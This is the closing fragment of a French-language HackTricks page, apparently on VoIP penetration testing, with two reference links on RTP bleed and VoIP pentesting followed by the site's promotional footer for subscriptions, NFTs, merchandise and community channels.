* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>